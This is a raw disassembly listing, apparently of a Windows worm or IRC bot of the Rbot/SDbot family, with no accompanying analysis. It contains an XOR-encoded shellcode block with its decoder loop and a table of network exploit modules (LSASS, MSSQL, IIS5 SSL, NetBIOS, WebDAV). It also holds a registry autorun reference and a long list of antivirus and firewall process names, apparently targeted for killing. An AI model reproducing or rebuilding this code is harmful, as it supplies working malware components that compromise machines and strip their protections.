		dd 7C834EB1h, 7C8137D9h, 7C91043Dh, 7C9105D4h, 7C80ABC1h
		dd 7C80E7ECh, 7C80E866h, 7C80B9A0h, 7C8021CCh, 7C812D56h
		dd 7C8309E1h, 7C80ABDEh, 7C80F0F4h, 7C80ADA0h, 7C801D77h
		dd 7C80180Eh, 7C810B8Eh, 7C810A77h, 7C83632Dh, 7C8361EEh
		dd 7C81153Ch, 7C80B6A1h, 7C82F7A0h, 7C80FE82h, 7C80FF19h
		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C8329D9h, 7C812782h, 7C835DCAh, 7C809BF8h, 7C80A0D4h
		dd 7C8216A4h, 7C80DDF5h, 7C831EABh, 7C801E16h, 7C80BAA1h
		dd 7C81CE03h, 7C835E8Fh, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81AE17h, 7C85F90Fh, 7C80DDFEh, 7C81E0C7h
		dd 7C81B58Bh, 7C80D262h, 7C812ADEh, 7C830B14h, 7C873A31h
		dd 7C80A05Dh, 7C8310F2h, 7C832044h, 7C9109EDh, 7C80BCCFh
		dd 7C809E01h, 7C84467Dh, 7C809EF1h, 7C812641h, 7C81DC03h
		dd 7C80A490h, 7C9179FDh, 7C8017E5h, 7C937A40h, 7C801EEEh
		dd 7C812F1Dh, 7C8136D7h, 7C910340h, 7C809728h, 7C809BC5h
		dd 7C809740h, 7C812D9Fh, 7C810EF8h, 7C812BB6h, 7C809AE4h
		dd 7C809A51h, 7C809E79h, 7C801AD0h, 7C80B9D1h, 7C838DE8h
		dd 7C80CCA8h, 7C809915h, 7C8127A7h, 7C812E76h, 7C812F39h
		dd 7C862E2Ah, 7C81DF77h, 7C81CF5Bh, 7C814AE7h, 7C812F08h
		dd 7C80CC97h, 7C810E51h, 7C838A0Ch, 0
		dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000012h
		dd 80000097h, 80000001h, 80000010h, 80000013h, 80000073h
		dd 80000017h, 8000000Bh, 80000009h, 80000004h, 80000003h
		dd 80000074h, 0
		db  29h	; )
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0BEh	; ¾
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  5Ah	; Z
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aE_0		db 'e',0
aCreatethread	db 'CreateThread',0
		align 4
		db  65h	; e
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
aM_1		db '¬',0
aExitthread	db 'ExitThread',0
		align 4
		db  2Dh	; -
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
		db '‹',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db    3
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aV		db 'v',0
aDeletecritical	db 'DeleteCriticalSection',0
		db  5Ch	; \
		db 1, 47h, 65h
aTlocaltime	db 'tLocalTime',0
		align 4
		db  7Eh	; ~
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 27Fh
aQueryperform_1	db 'QueryPerformanceFrequency',0
		db '«',0
aExitprocess	db 'ExitProcess',0
		db '\',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		db ',',0
aClosehandle	db 'CloseHandle',0
		dd 72570376h, 46657469h, 656C69h, 7243004Ah, 65746165h
		dd 656C6946h, 1A60041h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db 'Á',0
aFindclose	db 'FindClose',0
		db 'Î',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Å',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 1F5h
aHeapfree	db 'HeapFree',0
		align 2
		dw 1EFh
aHeapalloc	db 'HeapAlloc',0
		dw 18Bh
aGetprocessheap	db 'GetProcessHeap',0
		align 4
		db '¸',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 10h
		db '·',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		dw 35Eh
aVirtualqueryex	db 'VirtualQueryEx',0
		align 4
		db  93h	; “
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		db 0A8h	; ¨
		db 1, 47h, 65h
aTsysteminfo	db 'tSystemInfo',0
		db  61h	; a
		db 2, 4Fh, 70h
aEnprocess	db 'enProcess',0
		db 'å',0
aFreelibrary	db 'FreeLibrary',0
		db  43h	; C
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableW',0
		dw 189h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  2Eh	; .
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 90h
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db 0F1h	; ñ
		db 2, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		align 2
		dw 14Dh
aGetfilesize	db 'GetFileSize',0
		db 0BFh	; ¿
		db 1, 47h, 65h
aTtimeformata	db 'tTimeFormatA',0
		align 2
		dw 133h
aGetdateformata	db 'GetDateFormatA',0
		align 4
		db  48h	; H
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 167h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aR_0		db 'à',0
aFormatmessagea	db 'FormatMessageA',0
		align 4
		db 0E9h	; é
		db 1, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db 0E2h	; â
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 345h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  44h	; D
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aK_0		db 'K',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 2F5h
aSetfiletime	db 'SetFileTime',0
		dd 6547014Fh, 6C694674h, 6D695465h, 0AE0065h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 2EFh
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db 0B6h	; ¶
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  51h	; Q
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 369h
aWidechartomult	db 'WideCharToMultiByte',0
		db    1
		db 1, 47h, 65h
aTcomputernamea	db 'tComputerNameA',0
		align 4
		db  2Fh	; /
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db 'x',0
aDeletefilea	db 'DeleteFileA',0
		dw 331h
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 395h
aLstrcmpia	db 'lstrcmpiA',0
		dw 332h
aTerminatethrea	db 'TerminateThread',0
		db  4Ah	; J
		db 2, 4Dh, 6Fh
aVefilea	db 'veFileA',0
		db  30h	; 0
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcessId',0
		db ':',0
aCopyfilea	db 'CopyFileA',0
		dw 365h
aWaitforsingleo	db 'WaitForSingleObject',0
aW		db 'W',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
		db  44h	; D
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 26Ch
aPeeknamedpipe	db 'PeekNamedPipe',0
aI_1		db 'ˆ',0
aDuplicatehandl	db 'DuplicateHandle',0
		db '[',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 2C8h
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		dw 15Dh
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 10h
		db 0C8h	; È
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db  61h	; a
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 4
		db 'ê',0
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 10h
		db  63h	; c
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 1E3h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		dw 1F9h
aHeaprealloc	db 'HeapReAlloc',0
		db 0ACh	; ¬
		db 1, 47h, 65h
aTsystemtimeasf	db 'tSystemTimeAsFileTime',0
		dw 2B1h
aRtlunwind	db 'RtlUnwind',0
		dw 19Ch
aGetstartupinfo	db 'GetStartupInfoA',0
		db 0FDh	; ý
		align 2
aGetcommandline	db 'GetCommandLineA',0
		dw 337h
aTlsfree	db 'TlsFree',0
		db 0FEh	; þ
		db 2, 53h, 65h
aTlasterror_0	db 'tLastError',0
		align 4
		db  32h	; 2
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 339h
aTlssetvalue	db 'TlsSetValue',0
		db  38h	; 8
		db 3, 54h, 6Ch
aSgetvalue	db 'sGetValue',0
		dw 336h
aTlsalloc	db 'TlsAlloc',0
		align 2
		dw 1F3h
aHeapdestroy	db 'HeapDestroy',0
		db 0F1h	; ñ
		db 1, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 358h
aVirtualfree	db 'VirtualFree',0
		db  55h	; U
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  14h
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db  5Bh	; [
		db 3, 56h, 69h
aRtualprotect	db 'rtualProtect',0
		align 2
		dw 35Dh
aVirtualquery	db 'VirtualQuery',0
		align 2
		dw 220h
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 221h
aLcmapstringw	db 'LCMapStringW',0
		align 2
aI_2		db 'ë',0
aGetacp		db 'GetACP',0
		align 10h
		db  7Ch	; |
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db 0F1h	; ñ
		align 2
aGetcpinfo	db 'GetCPInfo',0
		db  9Eh	; ž
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db  42h	; B
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aU_0		db 'ã',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 13Fh
aGetenvironment	db 'GetEnvironmentStrings',0
aF		db 'ä',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  41h	; A
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStringsW',0
		align 2
		dw 2FAh
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470150h, 6C694674h, 70795465h, 19F0065h, 53746547h
		dd 6E697274h, 70795467h, 4165h,	654701A2h, 72745374h, 54676E69h
		dd 57657079h, 30C0000h,	53746553h, 61486474h, 656C646Eh
		dd 0DB0000h, 73756C46h,	6C694668h, 66754265h, 73726566h
		dd 2020000h
aInitializecr_0	db 'InitializeCriticalSection',0
		dw 31Dh
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 73490211h, 52646142h, 50646165h, 7274h, 7349020Eh, 43646142h
		dd 5065646Fh, 7274h, 654801FBh,	69537061h, 657Ah, 655302E8h
		dd 646E4574h, 6946664Fh, 656Ch
_rdata		ends

; Section 3. (virtual address 0002B000)
; Virtual size			: 000529B8 ( 338360.)
; Section size in file		: 000529B8 ( 338360.)
; Offset to raw	data for section: 0002B000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 42B000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_42B000	dd 0				dd offset sub_41E16F
dword_42B008	dd 0		dword_42B00C	dd 0				dd offset sub_417F3B
		dd offset sub_41B11D
		dd offset sub_41B24E
		dd offset sub_41E355
dword_42B020	dd 0		dword_42B024	dd 0				dd offset sub_417FE4
dword_42B02C	dd 0		dword_42B030	dd 0							; DATA XREF: sub_415FC0:loc_41604Eo
		dd offset sub_41E368
dword_42B038	dd 2 dup(0)	aWebdav		db 'webdav',0           ; DATA XREF: sub_401967+155o
		align 4
		db 2 dup(0)
aWebdav_0	db 'WebDav',0           ; DATA XREF: sub_4127BC+2B2o
					; .text:00412F54o ...
		align 4
		dd 5 dup(0)
dword_42B068	dd 50h							; sub_408A18+3E2Ar ...
off_42B06C	dd offset sub_4127BC	; DATA XREF: sub_401967+1F8r
dword_42B070	dd 0							; sub_4127BC+30Er ...
dword_42B074	dd 1		dword_42B078	dd 0		aNetbios	db 'netbios',0
		dd 654E0000h, 6F694274h, 73h, 5	dup(0)
		dd 8Bh,	4142E0h, 3 dup(0)
aNtpass		db 'ntpass',0
		align 10h
		dd 544E0000h, 73736150h, 6 dup(0)
		dd 1BDh, 4142E0h, 3 dup(0)
aIis5ssl	db 'iis5ssl',0
		dd 49490000h, 53533553h, 4Ch, 5	dup(0)
		dd 1BBh, 412CD0h, 0
		dd 1, 0
aMssql		db 'mssql',0
		align 4
		dd 534D0000h, 4C5153h, 6 dup(0)
		dd 599h, 413D4Ch, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 413505h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	4136D3h, 0
		dd 2 dup(1), 0Fh dup(0)
aLsass_445_1	db 'lsass_445',0
byte_42B22A	db 1			; DATA XREF: sub_408A18:loc_40C7BAr
					; sub_408A18+3DAEo
aLsass_139	db 'lsass_139',0
		db 1, 2	dup(0)
		dd 4 dup(0)
; ---------------------------------------------------------------------------


loc_42B248:				; DATA XREF: .text:00412DE4o
		jmp	short loc_42B25A

; =============== S U B	R O U T	I N E =======================================



sub_42B24A	proc near		; CODE XREF: sub_42B24A:loc_42B25Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42B252:				; CODE XREF: sub_42B24A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42B252
		jmp	short loc_42B25F
; ---------------------------------------------------------------------------


loc_42B25A:				; CODE XREF: .data:loc_42B248j
		call	sub_42B24A


loc_42B25F:				; CODE XREF: sub_42B24A+Ej
		jo	short near ptr dword_42B1DC+1Eh
		cwde
		cdq
		cdq
		retn
sub_42B24A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_42B3C8	dd 80000002h	off_42B3CC	dd offset aSoftwareMicr_0 ; DATA XREF: sub_40213F+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 42BFFCh, 80000001h, 42C034h
dword_42B3E0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42B42C	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_42B448:				; DATA XREF: sub_4039C6+10Fo
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42B45C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4039C6+138o
off_42B470	dd offset aAdd		; DATA XREF: sub_4077A8+59r
					; sub_407820+4Ar ...
					; "Add"
off_42B474	dd offset aAdded	; DATA XREF: sub_4077A8+2Dr
					; sub_407820+7Cr ...
					; "Added"
dword_42B478	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 422590h, 422588h,	2, 42257Ch, 422570h, 3,	0
dword_42B4C8	dd 7530h			align 10h
off_42B4D0	dd offset aAckwin32_exe	; DATA XREF: sub_408206:loc_4082CDr
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
